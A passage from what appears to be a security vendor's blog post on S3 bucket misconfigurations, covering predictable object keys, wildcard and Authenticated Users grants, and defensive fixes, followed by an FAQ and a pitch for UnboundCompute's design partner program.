    There is a quieter failure that is easy to miss. If a bucket allows listing, anyone with read access can ask for the full index of object keys and then fetch each one. Even without listing, predictable keys leak data on their own. Suppose your app stores invoices at invoices/2026/000041.pdf. If one number works, an attacker just tries 000042.pdf, then 000043.pdf, and walks the whole set. No listing needed, only a guessable pattern and a read grant that is too wide.

    A bucket is only as private as its least protected object, and predictable keys turn one working URL into every URL.

    The fix is the same access control thinking. Use keys that cannot be guessed, such as a random identifier, and check on every request that the caller is allowed to read that specific object, rather than trusting that nobody knows the key. This is the storage version of the same object level authorization gap that shows up in APIs.

    The same reasoning finds both bugs

    A broken authorization check in application code and an over broad storage policy are the same bug in two places. Both grant access the design never intended. A reviewer who can spot a missing owner check on GET /api/invoices/42 can read a bucket policy and ask the same question about a wildcard principal. Related mistakes travel together, so it is worth reading how an exposed env file hands over the very keys that make a bad policy usable, and how those credentials can lead to IAM privilege escalation once an attacker is inside. For more teardowns of this kind, our deep dives collect them in one place.

    Finding these gaps means understanding what an application and its storage are supposed to allow, then checking whether the policy agrees. That assumption testing is exactly the kind of access control work UnboundCompute is built to do. Read how we think about it on our about page.

    Frequently asked questions

    What is an S3 bucket misconfiguration?

    It is an access control mistake in object storage, where a bucket policy or an access control list grants more than it should. The result is that people who should be denied can list, read, write, or delete objects. The most common form is a policy whose principal is a wildcard, which lets anyone in.

    How do I stop a bucket from being public?

    Turn on Block Public Access at the account and bucket level so no policy or ACL can make objects public by accident. Then remove any grant to everyone or to the Authenticated Users group, and scope the policy to the exact role that needs it. Serve genuinely public files through a CDN rather than by opening the bucket.

    Why is granting access to Authenticated Users dangerous?

    In S3 the Authenticated Users group means every AWS account in the world, not just yours. Since anyone can create an AWS account for free, a grant to that group is nearly as open as public. Always grant to a specific principal you control instead.

    Can predictable object keys leak data even without listing?

    Yes. If objects are stored at guessable keys such as invoices/2026/000041.pdf, one working URL invites an attacker to try the next number and walk the whole set. Use random identifiers as keys and check on every request that the caller may read that specific object.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.